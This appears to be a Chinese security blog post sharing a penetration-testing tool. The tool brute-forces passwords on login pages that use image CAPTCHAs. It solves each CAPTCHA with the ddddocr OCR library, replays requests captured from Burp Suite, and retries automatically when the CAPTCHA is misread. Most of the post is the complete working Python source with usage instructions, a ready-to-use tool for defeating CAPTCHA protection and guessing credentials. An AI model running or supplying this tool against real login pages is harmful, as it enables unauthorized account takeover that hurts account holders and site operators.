对存在验证码的站点爆破
作者:Sec-Labs | 发布时间:
识别验证码爆破
https://github.com/djhons/captchaBlasting
前言:
经常在渗透测试的过程中会遇到一些验证码的情况,无法爆破。使用了几个burpsuite的插件,体验都不是很好, 最大的问题就是验证码识别错误时无法重试,这就导致会漏掉一些密码。
实现:
使用ddddocr项目来识别验证码,识别率还不错。
使用方法:
参考sqlmap的-r参数,通过burpsuite提取获取验证码的数据包(暂时只支持直接返回二进制图片)和爆破的数据包放到txt中.
使用####替换爆破数据包中验证码的位置,使用****替换爆破的位置。
main.py -r blast.txt -c captcha.txt -d dict.txt -l 6335 -s True
-r 爆破使用的数据包
-c 验证码使用的数据包
-d 字典文件
-l 验证码错误时返回的content-length
-s 是否使用https请求,默认使用http
每行将输出验证码、爆破的密码、返回包的conten-length
核心代码
main.py
import sys
import argparse
import ddddocr
import requests
from urllib.parse import quote
# 网络请求使用的协议
protocol = "http://"
replaceCaptcha = "####"
replacePass = "****"
#解析http请求
#传入http数据包
#返回method,url,header,httpBody。GET请求的body为None
def prepareHttpRequestContent(content=""):
content=content.replace("\r\n","\n")
# 分离post请求的 header和body
httpRequest = content.split("\n\n", 1)
method = url = httpHead = httpBody = ""
httpHeader = {}
if len(httpRequest)==2:#post请求
httpHead=httpRequest[0].split("\n")
httpBody=httpRequest[1]
else:#get请求
httpHead=content.strip().split("\n")
for i, line in enumerate(httpHead):
if i == 0: # 数据包首行
tmp = line.split(" ")
if len(tmp)!=3:
print("数据包中的第一行错误")
sys.exit(-1)
method = tmp[0].lower()
url=tmp[1]
else:#解析http header
tmp = line.split(":", 1)
if len(tmp)!=2:
print("数据包中的header错误")
sys.exit(-1)
httpHeader[tmp[0].lower().replace(" ", "")] = tmp[1].replace(" ", "")
if "host" not in httpHeader:
print("httpHeader中没有host")
sys.exit(-1)
url=protocol+httpHeader["host"]+url
return method,url,httpHeader,httpBody
#获取并识别验证码
#返回识别后的验证码
def getCaptcha(method, url, header, data):
try:
if method=="post":
resp = requests.post(url, headers=header, data=data, verify=False)
else:
resp = requests.get(url, headers=header, verify=False)
except Exception as e:
print("获取验证码失败,正在重试", e)
return getCaptcha(method, url, header, data)
try:
captcha = ddddocr.DdddOcr().classification(resp.content)
except Exception as e:
print(e)
sys.exit(-1)
return captcha
#爆破的请求
#返回response header中的content-length
def passwordRequest(method, url, header, data):
try:
if method == "post":
resp = requests.post(url, headers=header, data=data, verify=False)
else:
resp = requests.get(url, headers=header, verify=False)
except Exception as e:
print("爆破请求失败,正在重试",e)
return passwordRequest(method, url, header, data)
if "Content-Length" in resp.headers:
return resp.headers["Content-Length"]
else:
return len(resp.content)
#联动验证码请求和爆破的请求
#返回conten-length和验证码
def prepareRequest(passwordRequestContent,captchaRequestContent, captchaErrorLength):
#格式化验证码请求
method, url, header, data = prepareHttpRequestContent(captchaRequestContent)
#获取验证码
captcha=getCaptcha(method, url, header, data)
#将验证码替换到爆破的数据包中
passwordTmpRequestContent = passwordRequestContent.replace(replaceCaptcha, captcha)
#格式化爆破的数据包
method, url, header, data = prepareHttpRequestContent(passwordTmpRequestContent)
contentLength=passwordRequest(method, url, header, data)
if int(contentLength)==int(captchaErrorLength):
print("验证码识别错误,正在重试,{}".format(captcha))
return prepareRequest(passwordRequestContent,captchaRequestContent, captchaErrorLength)
return contentLength,captcha
#爆破数据包准备
def prepare(passwordRequestContent, password, captchaRequestContent, captchaErrorLength):
passwordRequestContent = passwordRequestContent.replace("****", password)
len,captcha = prepareRequest(passwordRequestContent, captchaRequestContent, captchaErrorLength)
if int(len) <= 0:
sys.exit(len)
print("识别出来的验证码是:{0},爆破的密码为:{1},返回的长度为:{2}".format(captcha,quote(password), len))
# 读取文件,并爆破
def main(blastFile, captchaFile, passFile, errLen):
if blastFile == None or captchaFile == None or passFile == None or errLen == None:
print("python main.py -r blast.txt -c captcha.txt -d dict.txt -l 6335 -s True")
sys.exit(-2)
rfile = open(blastFile, "rb").read().decode("utf8")
cfile = open(captchaFile, "rb").read().decode("utf8")
pfile = open(passFile, "rb")
pwds = pfile.readlines()
for pwd in pwds:
prepare(rfile, pwd.decode("utf8").strip(), cfile, errLen)
# 验证码位置####,爆破位置用****代替
if __name__ == '__main__':
show = "爆破数据包中验证码使用####代替,爆破位置用****代替"
parser = argparse.ArgumentParser(description=show)
parser.add_argument('-r', help='爆破使用的数据包')
parser.add_argument('-c', help='验证码使用的数据包')
parser.add_argument('-d', help='字典文件')
parser.add_argument('-l', help='验证码错误时返回的content-length')
parser.add_argument('-s', help='是否使用https请求,默认使用http', type=bool)
args = parser.parse_args()
if args.s:
protocol="https://"
main(args.r, args.c, args.d, args.l)
标签:工具分享, 暴力破解, 验证码